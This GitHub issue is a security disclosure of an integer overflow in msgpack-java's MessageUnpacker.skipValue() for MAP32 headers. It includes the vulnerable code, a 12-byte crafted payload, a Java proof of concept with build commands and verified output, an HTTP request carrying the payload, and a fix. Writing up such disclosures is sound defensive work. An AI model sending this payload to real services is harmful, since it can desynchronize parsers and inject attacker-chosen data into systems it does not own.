Skip to content

[Security Disclosure] MAP32 Integer Overflow in skipValue() — Cursor Desynchronization #1014

Description

@waydeshi
Field Value
Project msgpack-java
Repository https://github.com/msgpack/msgpack-java
Affected Version <= 0.9.12
Component msgpack-core
Class org.msgpack.core.MessageUnpacker
File msgpack-core/src/main/java/org/msgpack/core/MessageUnpacker.java
Vulnerable Line(s) 578–579
Severity Medium
CVSS 3.1 Score Base Score: 6.5 (MEDIUM) CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
CWE CWE-190, CWE-20

Vulnerability Description

skipValue() skips a value using a count variable (initialized to 1). For a MAP32 container (0xdf), it reads a 32-bit element count and multiplies by 2:

// MessageUnpacker.java:578-579
case MAP32:
    count += readNextLength32() * 2; // TODO check int overflow
    break;

When readNextLength32() returns 0x40000000:

0x40000000 * 2 = 0x80000000 = -2147483648 (Integer.MIN_VALUE)
count = 1 + (-2147483648) = -2147483647

count becomes negative, while (count > 0) is immediately false, and skipValue() returns without consuming the map body. The cursor stays right after the MAP32 header.


Root Cause

readNextLength32() returns a signed int. Values ≥ 0x40000000 overflow when multiplied by 2 and produce a negative count. while (count > 0) exits silently and no exception is thrown. The // TODO check int overflow comment confirms the defect.


Impact

Parser state desynchronization from a silent skipValue() failure. After the overflow, the map body is not consumed. A subsequent read from the same stream consumes bytes intended to be skipped.

Affected applications use MessageUnpacker directly and call skipValue() to skip unknown fields before reading later fields (forward-compatible RPC frameworks, game servers, IoT gateways). The Jackson integration (MessagePackParser) does not call skipValue() and is unaffected.


Affected Code

// MessageUnpacker.java (skipValue, lines 518-587)
private void skipValue(int count) throws IOException {
    while (count > 0) {
        byte b = readByte();
        MessageFormat mf = MessageFormat.valueOf(b);
        switch (mf) {
            case MAP32:
                count += readNextLength32() * 2; // TODO check int overflow  ← LINE 579
                break;
        }
        count--;
    }
}

Proof of Concept

Environment: OpenJDK 25.0.2, macOS; msgpack-core 0.9.12 (built from source, commit ca3fa54).

Payload (12 bytes): 92 df 40 00 00 00 a5 70 77 6e 65 64

Offset  Hex   Description
0x00    92    fixarray[2] - outer wrapper
0x01    df    MAP32 format byte
0x02-05 40..  MAP32 size = 0x40000000
0x06    a5    fixstr(5)
0x07-0b       'p' 'w' 'n' 'e' 'd'

Test sequence: unpackArrayHeader()skipValue()unpackValue(). skipValue() returns with no exception, and the following unpackValue() reads pwned, confirming cursor desynchronization.

POC Source

File: poc-project/src/main/java/org/msgpack/poc/Poc2_MAP32_IntegerOverflow.java

package org.msgpack.poc;

import org.msgpack.core.MessagePack;
import org.msgpack.core.MessageUnpacker;
import org.msgpack.value.ImmutableValue;

public class Poc2_MAP32_IntegerOverflow {

    public static void run() throws Exception {
        byte[] testPayload = buildSkipTestPayload();
        try (MessageUnpacker unpacker = MessagePack.newDefaultUnpacker(testPayload)) {
            unpacker.unpackArrayHeader();
            unpacker.skipValue();
            if (unpacker.hasNext()) {
                ImmutableValue nextVal = unpacker.unpackValue();
                System.out.println("[VULNERABILITY CONFIRMED] Parser read injected data: " + nextVal);
            }
        }
    }

    // fixarray[2] { MAP32(size=0x40000000), fixstr "pwned" }
    static byte[] buildSkipTestPayload() {
        return new byte[]{
            (byte) 0x92,
            (byte) 0xdf, 0x40, 0x00, 0x00, 0x00,
            (byte) 0xa5, 'p', 'w', 'n', 'e', 'd'
        };
    }

    public static void main(String[] args) throws Exception {
        run();
    }
}

Build & run:

MSGPACK_CORE=~/.m2/repository/org/msgpack/msgpack-core/0.9.12/msgpack-core-0.9.12.jar
javac -cp "$MSGPACK_CORE" -d poc-project/target/classes \
  poc-project/src/main/java/org/msgpack/poc/Poc2_MAP32_IntegerOverflow.java
java --add-opens=java.base/java.nio=ALL-UNNAMED \
     --add-opens=java.base/sun.nio.ch=ALL-UNNAMED \
     -cp "poc-project/target/classes:$MSGPACK_CORE" \
     org.msgpack.poc.Poc2_MAP32_IntegerOverflow

Verified Output

Array size: 2
Calling skipValue() on MAP32...
[RESULT] skipValue() returned WITHOUT properly skipping the MAP!
[VULNERABILITY CONFIRMED] Parser read injected data: pwned
readNextLength32() returns: 0x40000000 = 1073741824
* 2 = -2147483648 (0x80000000)
Result == Integer.MIN_VALUE: true

Network vector:

POST /api/msgpack HTTP/1.1
Content-Type: application/x-msgpack
Content-Length: 12

\x92\xdf\x40\x00\x00\x00\xa5pwned

Remediation

Use overflow-safe arithmetic:

case MAP32: {
    long mapSize = readNextLength32();
    long added = Math.multiplyExact(mapSize, 2L);
    if (added > Integer.MAX_VALUE - count) {
        throw new MessageSizeException("MAP32 size overflow", mapSize);
    }
    count = (int)(count + added);
    break;
}

Apply the same fix to the ARRAY32 branch (line 573). MAP16 and ARRAY16 use readNextLength16() (max 65,535) and cannot overflow.


References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions